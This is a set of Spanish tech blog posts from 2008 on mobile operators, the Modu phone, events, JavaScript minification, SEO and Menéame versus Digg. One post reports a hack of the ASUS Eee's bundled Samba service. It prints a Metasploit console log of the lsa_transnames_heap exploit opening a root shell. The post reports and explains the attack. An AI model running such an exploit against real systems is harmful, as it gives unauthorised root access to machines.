Este año se prevé bastante movidito en el sector de los operadores móviles. Llevamos unos meses viendo cómo aparecen nuevos OMVs con tarifas cada vez más reducidas y se impone la ley del “low-cost” telefónico.
¿Cómo afrontarán los grandes la entrada de estos nuevos competidores? Llega la figura del “operador global.
Movistar y Orange ya han empezado a desarrollar este concepto, es decir, ofrecer servicios combinados de telefonía fija y móvil. Telefónica parte con la ventaja de disponer una posición dominante en ambos mercados (fijo y móvil). El enfoque de Orange es ligeramente distinto: intentar captar a clientes de telefonía móvil para que contraten los servicios de telefonía fija.
Sin embargo, Vodafone no dispone de red fija. ¿Cómo puede defenderse ante esta ofensiva? Una opción consiste en convertirse en “operador fijo virtual”, pero no deja de ser una forma de aumentar los beneficios de sus competidores al tener que pagarles por el uso de la red fija. La opción más atractiva es convertir el fijo en móvil. Retos mayores se han logrado.
Para llevar a cabo esta idea de sustituir las líneas fijas por móviles es necesario un soporte tecnológico muy importante. Por un lado hay que ofrecer una tarifa de voz más atractiva (incluso gratuita) para llamadas nacionales a fijos y terminales de la misma compañía. Por otro lado es necesario completar el servicio con un acceso a Internet equivalente al ADSL. Aquí podríamos utilizar el conocido 3.5G (HSDPA) pero sería imprescindible una tarifa plana sin restricciones. ¿Lo soportarían las redes actuales?
Para competir con la televisión digital por cable (Imagenio y similares), se puede emplear también la conexión HSDPA para servicios de IPTV ya que, teóricamente, este tipo de red puede llegar a soportar 14Mbps. Además, permitiría tener servicios de televisión móvil sin tener que esperar al DVB-H y poder visualizarlos tanto desde casa como desde el móvil.
La misma estrategia puede ser seguida por otros operadores, como Yoigo, pero personalmente creo que sus objetivos a corto y medio plazo deberían centrarse en captar nuevos clientes y ofrecer nuevos servicios (guiño, guiño).
De todos modos, me temo que a corto plazo es más rentable ser “operador fijo virtual” que mejorar las redes móviles para poder competir con los nuevos “operadores globales”.
Modu: El sistema GSM modular
Desde principios de enero se viene hablando de una start-up israelí llamada Modu, sin embargo el producto se ha materializado finalmente en el congreso 3GSM que se ha celebrado en Barcelona. La compañía ha desarrollado un
sistema GSM modular. ¿Y que es esto os preguntareis? Es sencillo, Modu es un dispositivo con un tamaño inferior a una tarjeta de crédito (peso 1,5 gramos) que contiene un sistema GSM (Cuatribanda), una memoria interna de 1Gb, bluetooth, conector mini Usb y un sistema de reproducción audio. Este módulo de por si, es capaz de recibir y realizar llamadas, sin embargo, la idea es que se inserte en una serie de “chaquetas” que le proporcionan funcionalidad adicional. Por ejemplo, existen “chaquetas” o skins que proporcionan una pantalla más grande, teclado, música precargada. Adicionalmente la idea es que el núcleo o Modu, no solo se pueda insertar en las “chaquetas”, sino en otros dispositivos como en el coche. Por ahora la empresa ha firmado contratos con telcos de Italia, Rusia e Israel.
Personalmente la idea me parece genial. Creo que es de estas ideas que piensas: “¡Doh!, ¿por qué no se me habrá ocurrido a mi?“. El sistema tiene un potencial tremendo. El Modu y dos skins cuestan unos 200€ lo cual no es nada caro teniendo en cuenta el precio del iPhone. Y sí, ya se que no hace ni la mitad de cosas que el iPhone. La empresa tiene la intención de proporcionar un SDK a los interesados (ya se han subido al carro Bosch y Magellan) para que tomando como base el Modu, construyan dispositivos que hagan uso de él.
A mi juicio, ¿fallos que tiene el sistema? GPRS… mal, muy mal. Hoy por hoy estos sistemas debería apuntar a 3G y no a una tecnología ya obsoleta como es el GPRS. Supongo que esto se podrá resolver con una revisión de hardware del Modu o incluso añadiéndole un módulo en el skin o similar, sin embargo, me parece un fallo grave teniendo en cuenta que el mercado que intentas penetrar es el Europeo. Otro fallo grave? Sin WiFi y GPS. Hoy por hoy, y más con la llegada del iPhone (incluso este carece de GPS), estos dos servicios son fundamentales. De nuevo, entiendo que no lo habrán querido introducir en el Modu, para dejarlo como plugin adicional.
Lo cierto es que el modelo de negocio me parece muy inteligente. De igual forma que Apple saca muchísimo dinero de todos los accesorios para el iPod, Modu pretende hacer lo propio con su teléfono. Algunos expertos comentan que la 
idea no es muy buena debido a que la gente no se comprará “chaquetas” nuevas para irlas cambiando. Puede que esto sea cierto, especialmente si son muy caras, pero el hecho de comprar skins con funcionalidades adicionales como WiFi o GPS si proporcionan un incentivo muy importante. Tampoco hay que olvidar que el hecho de que los usuarios puedan configurar su perfil en MySpace es uno de los grandes triunfos de esta red social, luego la personalización de la tecnología no es precisamente algo desdeñable. Es cierto que para cambiar el perfil de MySpace no hay que pagar nada, mientras que en este caso, cada skin cuesta un dinero, pero puede ser una idea interesante. No solo esto, sino que podrás elegir, para la misma funcionalidad, distintas skins fabricados por empresas distintas, es decir, habrá competencia de skins, lo cual beneficia casi siempre al consumidor. Sinceramente creo que el proporcionar un SDK para que terceras partes diseñen complementos para el teléfono, es una estrategia muy buena y probablemente les proporcione el tirón necesario para hacerse un hueco en el sector.
¿Qué os parece la idea? ¿Compraríais el Modu por 200€?
PS: Podeis ver más fotos del Modu y sus “chaquetas” en su website.
Imágenes: crunchgear.com, Kent German/CNET Networks
Cocinitas en Internet
El otro día descubría una web sobre recetas de cocinas llamada supercook.com. Lo cierto es que, yo no estoy muy metido en temas de cocina, probablemente por falta de tiempo, no de gusto. Sin embargo esta web me llamó mucho la atención porque tenía una característica genial.
Normalmente las webs o portales de cocina son un compendio de recetas con fotos e instrucciones, algunos mejores, otros peores. Sin embargo, es la primera vez que veo un portal en donde te seleccionan las recetas en función de los ingredientes que tengas a mano. Para alguien que no es un cocinitas como yo, la idea me parece brillante. Introduces los ingredientes y a medida que los vas añadiendo, a la derecha te va actualizando la lista de recetas que tienen ese ingrediente. De las recetas que te salen, te marca los ingredientes que te faltan para completarlas de forma que te ordena las más próximas a los ingredientes que has metido al principio y las que requieren más ingredientes que no tenemos contemplados al final.
La idea repito, es en mi opinión, brillante. El interfaz con ajax además es muy limpio y claro. Donde pierde puntos es en las recetas en si. Son, como en muchos otros sitios, muy genéricas (eso si, con sus datos nutricionales tan típicos en América). Con respecto a las recetas me quedo con una web que descubrí hace ya tiempo pero que me parece el paradigma de como escribir una receta, cookingforengineers.com (Cocinando para ingenieros).
De nuevo, ambas webs están en inglés, pero el nombre de los ingredientes son fáciles de traducir así que probadlo y me contáis que os parece.
Disclaimer: Cociné un día esta receta, y me salió genial.
Madrid Facebook Developer Garage
Los chicos de FON vienen pisando fuerte. La semana que vienen organizan un evento en el teatro Lara de Madrid
, a razón del lanzamiento de la plataforma de aplicaciones de Facebook en castellano. Como invitados estará Javier Oliván, director de Producto y Marketing Internacional de Facebook que presentará la plataforma y el equipo de FON que presentará las aplicaciones que están desarrollando para Facebook. Posteriormente se ha reservado un tiempo para hacer el tan sano networking (esta es la parte que más me gusta).
Adicionalmente todos aquellos desarrolladores y empresas que quieran presentar sus aplicaciones para Facebook en castellano están invitados a participar. Solo tenéis que mandar un email a Pietro (pietro@fon.com) y os tomará nota.
Para apuntarse al evento también piden que se confirme la asistencia mandando un email a developergarage@fon.com en donde muy amablemente os confirmarán la asistencia.
Lo cierto es que me parece una idea fantástica lo del evento y sería muy interesante que se organizaran talleres de aplicaciones para Facebook o MySpace (ahora que han desvelado su plataforma para aplicaciones). Es un campo muy interesante y que mueve mucho dinero y me alegra ver que en España también nos estamos moviendo en estos campos.
No se muy bien si el evento será solo las presentaciones, pero me gustaría ver un taller de aplicaciones de Facebook, MySpace y OpenSocial. ¿Alguno conoce de algo de esto en España (a poder ser en Madrid)? Se podría organizar algún BarCamp de aplicaciones para redes sociales. ¿Alguno se anima?
Bueno, yo decididamente me pasaré el lunes por ahí, si alguno quiere pasarse os dejo los datos del evento en Facebook y transcritos aquí:
Fecha: Lunes, 18 febrero, 2008 Hora: 7:00pm – 11:00pm Lugar: Teatro Lara Calle: Calle Corredera Baja de San Pablo, 15 Ciudad: Madrid, España
Phone: +34 677940078 Email: developergarage@fon.com
Me pregunto si estará Varsarsky. Lo dudo ya que es un hombre muy ocupado pero me gustaría mucho conocerle y escucharle en persona. A ver si hay suerte.
Imágenes: theinquirer.es, facebook.com
Iniciador mes de febrero 2008
Mañana miércoles 13 de febrero a las 18:15 se celebra la nueva edición de iniciador. El evento está dedicado al desarrollo de producto y tendremos como ponente a Alberto Knapp Bjeren. Alberto es el director de la consultora The Cocktail, que se dedican a “consultoría de experiencia de usuario y diseño de interacción” y que tiene como producto más emblemático la plataforma de creación de blogs gratuitos La Coctelera.
El evento pinta estupendamente y como sucedió en la edición del mes pasado, seguramente veamos una exposición excelente y llena de buenos consejos y anécdotas. Os animo como siempre a venir a todos. En esta edición tendré el placer de ir con Ajo y con otro compañero así que si os pasáis mañana dejarnos un comentario y nos vemos.
Fecha: Miércoles 13 de febrero.
Hora: 18.15h
Lugar: Oficina cancha de la CAN en Juan Bravo Nº3 (Madrid)
Hackean el portatil ASUS Eee
Leo hace escasos segundos que la gente de RISE Security acaban de hackear el sistema operativo que viene por defecto con los ASUS Eee. Resulta que el SO que viene presintalado en los portátiles es Xandros, que es una versión derivada de Corel Linux que a su vez proviene de Debian Linux. Parece ser que por defecto viene con una versión del demonio Samba con fallos conocidos y activado por defecto. Una vez que sabían eso, simplemente emplearon el framework metasploit, cargaron el exploit para esa versión de samba y consiguieron root en el sistema.
msf exploit(lsa_transnames_heap) > exploit [*] Started bind handler [*] Creating nop sled.... ... [*] Trying to exploit Samba with address 0x08415000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ... [*] Calling the vulnerable function... [+] Server did not respond, this is expected [*] Command shell session 1 opened (192.168.50.201:33694 -> 192.168.50.10:4444) msf exploit(lsa_transnames_heap) > sessions -i 1 [*] Starting interaction with 1... uname -a Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 GNU/Linux id uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)
La noticia es muy reciente y no tengo forma de conformarlo así que tomad la información con cautela. No obstante, habiendo trabajado con sistemas embebidos, no me sorprende lo más mínimo. Suele ser una constante en todos estos tipos de sistemas, que resulta muy caro y difícil crear actualizaciones periódicas para cada actualización del software que incorpora el dispositivo. Esto es debido a que la compilación de muchos de estos paquetes de software es compleja y generalmente requiere que se parcheen las versiones de forma manual para acoplarlo al sistema empotrado. Esto consume mucho tiempo y recursos y por tanto los fabricantes deciden no actualizarlo tan a menudo y directamente no actualizarlos. No obstante, como dirían algunos: “nice hack!“
Comprimir el código Javascript
Las aplicaciones web cada vez son más complejas. Cada vez se requiere más código Javascript que permita obtener la funcionalidad deseada. Debido a esta necesidad, y al igual que sucedió con las librerías en los sistemas oper
ativos, han ido surgiendo varias librerías de código Javascript. Estas, además de descargar al programador de codificar tediosas rutinas para el acceso al DOM y similares, proporcionan una capa de abstracción que permite la portabilidad del código a distintos navegadores. Para los profanos, explico la situación. Hoy por hoy existen diversos navegadores web, siendo probablemente el Firefox, Internet Explorer, Safari y Opera los más importantes. Cada uno de estos navegadores implementa el motor de renderizado web de forma distinta. Algunos de ellos se ciñen a los estándares oficiales, mientras que otros deciden introducir sus propios elementos xhtml, html, etc al margen del resto. Esto genera graves problemas de interoperabilidad para las páginas web. Un diseño que emplea ciertos elementos CSS, es probable que no funcione como se deseaba al visualizar la misma página en otro navegador. Existe una problemática adicional, cada navegador luego tiene sus múltiples versiones que soportan subconjuntos diferentes de los estándares, agravando los problemas de interoperabilidad.
Las librerías Javascript proporcionan una capa de abstracción para el programador y le evita tener que programar distintas versiones del mismo código para los distintos navegadores. Dos de las más famosas probablemente sean la librería jQuery y Prototype. Sin embargo, a diferencia de las librerías de un sistema operativo, éstas otras han de ser descargadas (si no han sido cacheadas, lo que sucede el 50% de las veces) por cada usuario que visualice la web. Esto supone un problema de rendimiento, ya que el navegador no comenzará a hacer uso del código Javascript hasta que este haya sido descargado. Cuanto mayor es el tamaño de la librería, peor es el rendimiento.
Para evitar estos problemas de rendimiento, voy a introduciros una herramienta desarrollada por Yahoo para reducir considerablemente el tamaño de estas librerías y maximizar la velocidad de carga de la web. La herramienta, que se llama YUI Compressor es una aplicación Java (jar) a la que le damos el fichero Javascript de entrada y nos devuelve por la salida estándar una versión comprimida de la misma. A continuación os muestro las prueba que he realizado con la última versión de jQuery:
ergosum@braniac:/var/www/js$ ls -la jquery-copy-1.2.2.js
-rw-r–r– 1 ergosum ergosum 95285 feb 8 16:49 jquery-copy-1.2.2.jsergosum@braniac:/var/www/js$ java -jar yuicompressor-2.3.4.jar jquery-copy-1.2.2.js > jquery-compress-1.2.2.js
ergosum@braniac:/var/www/js$ ls -la jquery-compress-1.2.2.js
-rw-r–r– 1 ergosum ergosum 52435 feb 8 16:51 jquery-compress-1.2.2.js
Como podemos apreciar, al comprimir la librería hemos obtenido una tasa de compresión del 45%, lo cual es increíble. El problema con el algoritmo de compresión es que convierte la librería en algo bastante ilegible. Si deseamos reducir el tamaño del código pero al mismo tiempo mantener algo de coherencia y no ofuscarlo, podemos lanzar la herramienta como sigue:
ergosum@braniac:/var/www/js$ java -jar yuicompressor-2.3.4.jar –nomunge –preserve-semi jquery-copy-1.2.2.js > jquery-compress-1.2.2.js
ergosum@braniac:/var/www/js$ ls -la jquery-compress-1.2.2.js
-rw-r–r– 1 ergosum ergosum 52970 feb 8 17:21 jquery-compress-1.2.2.js
Podemos comprobar la opción para añadirle los puntos y comas el tamaño ha incrementado
ligeramente (44.41% de compresión). Sin embargo he de reconocer que no sale mucho más legible que antes. También podemos añadirle el parámetro –line-break n indicándole al parser que debe añadir un retorno de carro cuando llegue a la línea n. Esto lo hace algo más legible pero no mucho más.
Como nota adicional, leía ayer los resultados que han obtenido la gente de PBWiki (muy interesante por cierto) con distintas herramientas para el rendimiento de las librerías. Para jQuery obtuvieron los siguientes datos:
| Minified | Time Avg | Samples |
|---|---|---|
| minified | 519.7214 | 12611 |
| packed | 591.6636 | 12606 |
| normal | 645.4818 | 12589 |
Donde minified corresponde a la salida comprimida mediante la herramienta que hemos comentado, packed corresponde con librerías comprimidas con el empaquetados Packed y por último normal corresponde con la librería tal cual, sin procesar.
Se aprecia claramente como la minified es más óptima que la packed y la razón es porque, aunque con Packed el tamaño del fichero es menor, es necesario realizar un esfuerzo extra para desempaquetar el fichero una vez que llega al navegador, resultando en una suma total de tiempo mayor que en el caso del minified.
En conclusión, una herramienta muy útil que nos permite minimizar el tiempo de carga de nuestras librerías Javascript. Además de la compresión también podemos usar recursos como el mod_gzip para comprimir el archivo desde el servidor a nuestro navegador y seguir ganando en eficiencia.
html head, y el posicionamiento web.
En los últimos post sobre posicinamiento web hemos tratado temas como el formato de las url , la elección de un nombre de dominio. Esta vez vamos a hablar sobre las cabeceras de nuestras páginas, y la relevancia de los campos que estas contienen, ya que de ahí los buscadores obtienen gran parte de la información sobre el contenido de la misma.
Prácticamente como el sentido común nos indicaría el orden de importancia para las partes de la cabecera HTML en el que la mayor parte de expertos están de acuerdo (Seomoz: Google search engine ranking factors) es el siguiente:
- <title>: Es el más importante por dos razones: Es el título que aparece en las búsquedas (ver la imagen del final) y las palabras clave de su contenido son muy relevantes para las búsquedas. No solo es importante su contenido, si no el orden de las palabras clave: si están al principio es probable que adquieran más relevancia que si están al final. Si forman un conjunto, y están en están en el orden adecuado (en el que serán buscadas) esto también nos beneficiará. Por ejemplo, será mas óptimo un título: “html head y el posicionamiento web – tecnocracia.es” que … “tecnocracia.es – html head y el posicionamiento web” ya que en este caso lo más relevante del título no es “tecnocracia.es”, sino el título del tema en si.
- <meta name=”description” content=”…”/>: No es tan importante como el título, pero puede aportar algo más de relevancia, y actualmente es el contenido que aparecerá en la descripciones del buscador (ver imagen del final).
- <meta name=”keywords” content=”key1,key2,key3″/>: Es el menos importante de todos los campos de la cabecera HTML, en algún momento de la historia de los buscadores se les dio gran relevancia, pero es algo fácil de manipular por los spammers, y hoy en día intuyo que se puedan utilizar para extraer el orden de relevancia de las palabras clave que estén en el contenido.
En resumen podemos decir que la correcta optimización de las cabeceras de nuestras páginas de contenido es fundamental si queremos atraer visitas. Además el contenido de las cabeceras es la primera ventana que tienen los usuarios hacia nuestra web, lo que verán de ella antes de llegar a entrar, y como todos sabemos la primera impresión cuenta mucho 🙂
Invitación para la conferencia FOWA en Miami
Del 28 de febrero al 1 de marzo se celebra en Miami, EEUU una de las conferencias más importantes del mundo, la Future of web Applications (FOWA) organizada por Carsonified. El evento traerá a lo mejor de lo mejor del mundo de Internet: Flickr, WordPress, Google, Digg, Pownce, Twitter o Plaxo entre otros.
Tuve el honor de participar en la última edición de la conferencia en Londres en octubre y he de decir
que es increíble. Pude escuchar grandes presentaciones y el honor de hablar con los líderes del mercado. Fue durante ese evento precisamente que conocí a Christian Van Der Henst, fundador de Maestros del Web. De su mano os traigo hoy una invitación para el evento en Miami que sin duda alguna merece la pena. Me contaba precisamente esta mañana que todavía no tenían ganador para la entrada así que os animo a todos a intentarlo.
¿Cómo conseguir la invitación? Muy sencillo:
“1 pase para algún lector en España. Recordando que para el SES Latino el año pasado, más de alguién cruzó el charco para asistir, queremos ver quien se anima esta vez. ¿Cómo te ganas el pase? Compra un boleto a Miami para estar durante los días del evento y confírmanos por correo los datos del boleto para que te garanticemos tu pase. El primero que demuestre el interés con el boleto se lleva el pase.“
¿Acaso no es sencillo? Lo cierto es que si no tuviera mucho trabajo yo mismo lo intentaría conseguir. La verdad es que quien lo consiga no se va a arrepentir. No solo merece la pena la conferencia, que de por si, es impresionante, sino el ver una ciudad como Miami. Pase lo que pase garantizo que cualquiera que vaya se lo va a pasar en grande, así que si tenéis un hueco o necesitáis unas merecidas vacaciones, no dudéis en intentarlo y por favor, mandarnos las fotos. ¡Ya envidio al ganador!
Lo dicho, comprad el billete y enviárselo a la gente de Maestros del Web y podéis ganaros esa invitación.
Diferencias culturales: Meneame vs. Digg
El otro día enviamos una noticia a Menéame y obtuvimos un pico de tráfico respetable. No obstante, el fenómeno me
hizo reflexionar. Estuve comprobando la página principal de Menéame y me asombró lo poco tecnológicas que eran las noticias en la página principal. Esas noticias alcanzan la página principal porque mucha gente las vota y, en consecuencia, reflejan de manera fehaciente, las inquietudes de los internautas españoles. A raíz de esto, se me ocurrió realizar una comparación con sitios semejantes, pero en otros países. Qué mejor ejemplo que Digg. Es muy interesante el estudio del interés social de un país a partir de sitios como estos, debido a que posiblemente, se pueda extrapolar a un fragmento de la población bastante amplio.
Para corroborar mi hipótesis, voy a mostraros las páginas principales tanto de Menéame como de Digg de ahora mismo.
Menéame
- Pedro Duque: Si hubiera llegado vida extraterrestre a la Tierra sería de muy mala educación por su parte no saludar
- El informativo de Sánchez Dragó (TeleMadrid) pasa de puntillas sobre la noticia del Severo Ochoa
- Matan al último lobo del Cuera, en Asturias, y parece que hay que alegrarse… (¿?)
- La nómina no avanza al mismo ritmo que el coste de la vida
- Los cereales Special K, condenados por su falso 0% de grasa
- Una burrada mas de lo que pueden hacer algunos cazadores
- Los precios de los alimentos seguirán subiendo mientras el sector agrario se arruina
- Los Mossos golpean y encañonan a un hombre tras equivocarse de piso en un registro
- El ‘caso Enaitz’ aviva los medios participativos
- Microsoft lanza una OPA a Yahoo
- Los obispos ahora matizan: “Se debe hablar con los terroristas si se puede
- Pfizer cede medicamento para luchar contra el SIDA
- El ministro Molina boicotea un acto anticanon conjurándose con la SGAE
- 1 chica, 6 soldados
- FACUA también denuncia a Yoigo y anuncia recomendaciones a los usuarios estafados
- Quiero ser chino
- El alcalde de Londres piensa aprobar una tasa de 25 libras/día (37 euros/día) a 4X4 que circulen por la ciudad
- El avión de Rajoy se sale de pista
- El conductor que atropelló y mató a una mujer en Sot de Ferrer reclama 6.695 euros por daños
- Estoy amenazado por ETA, pero he sufrido una terrible campaña de desprestigio por parte de la AVT
Digg
- Sperm cells created from female embryo
- 3 Years Of Embarrassing CNN.com Headlines
- 101 Design Patterns & Tips for Developers
- Cheney: ‘We Haven’t Violated Anybody’s Civil Liberties’
- Official: Del Toro to take charge of The Hobbit
- Face Cream Can be Deadly
- Official Aircraft Identification Chart
- Private Cloud Is a Rocking Bed (Both Ways)
- Navy Tests High-Powered Electromagnetic Railgun
- Indian rhino loses fight for life
- Microsoft to buy Yahoo! for $44.6 billion
- Soldier suicides reach record level, study shows.
- Google 4Q Earnings Miss Expectations & Plummets After Hours
- DNA leads police to salami-loving thief
- New Solar Panel Technology Stylish and Sustainable
Salvo dos noticias que son la misma, la OPA de Microsoft a Yahoo, y la imagen del rinoceronte indio, el resto de las noticias son muy diferentes. Se aprecia claramente como en Menéame predominan los localismos, mientras que en Digg se valoran noticias de ámbito más general. Incluso me atrevería a decir que, aunque Digg ya no trata noticias tecnológicas, como sucedía antes, el contenido en general sigue siendo científico/técnico. Si nos volvemos a Menéame veremos que, salvo un par de noticias, el resto tiene poco o nada que ver con ciencia y/o tecnología.
La pregunta entonces es, ¿es esto debido al tipo de audiencia que se construye alrededor de estos sitios, o por el contrario, es el reflejo de las inquietudes de la sociedad correspondiente? No me atrevería a dar una respuestas porque es probable que sea un poco de las dos. Por un lado, la audiencia que se concentra en estas webs lo hacen porque les gusta el contenido de forma que, si existe suficientes personas con unos intereses comunes, las temáticas que se traten serán las de este colectivo. Esto me lleva a plantearme otra pregunta. Al ser mayor el número de personas que tienen intereses más generales, frente al porcentaje de personas que les apasiona la tecnología, ¿no correría peligro este último colectivo de ver su web de noticias favorita “polucionada” por otro contenido no relativo a la tecnología? Por ejemplo, este mismo fenómeno se da en la televisión. Cuando se le pregunta a los directores de las principales cadenas, por qué no existen programas de mayor contenido y profundidad, responden que esos programas no venden. Lo que la mayoría quiere ver son programas del corazón. Sucede entonces que estos colectivos minoritarios van migrando a otros servicios web en el momento en que estos alcanzan la madurez (mainstream), es decir, cuando acceden a ellos el usuario medio que emplea Internet como hobby.
Comprobando el tipo de audiencia que tienen ambos sitios, me doy cuenta de que hemos herrado en el vehículo que empleamos para difundir el contenido en Tecnocracia. El objetivo es hablar de tecnología, y por ende, le veo poco o ningún sentido, bombardear una audiencia como la de Menéame con nuestros links. Esto mismo lo discutía con mi amigo Zordor de frikis.net antes de ayer en el Beers & Blogs que se celebró en Madrid. De hecho, fue un tema recurrente en las conversaciones que tuve, por ejemplo con Pedro Sánchez de Viadeo o con Nicolas Alvez de Wikio. Todos coincidían en que al final sigue siendo más efectivo, construir una relación con los lectores/subscriptores que se sienten identificados con tu contenido, que canalizar grandes volúmenes de tráfico que interactuan poco o nada con el resto de contenidos del sitio web.
Por ello y a partir de ahora, queremos centrarnos en promocionar nuestro contenido en los círculos tecnológicos adecuados. Me interesaría mucho leer vuestros comentarios al respecto. ¿En que blogs/webs creeis que deberíamos promocionar el contenido de Tecnocracia? ¿Qué tipo de noticias son las que leéis habitualmente?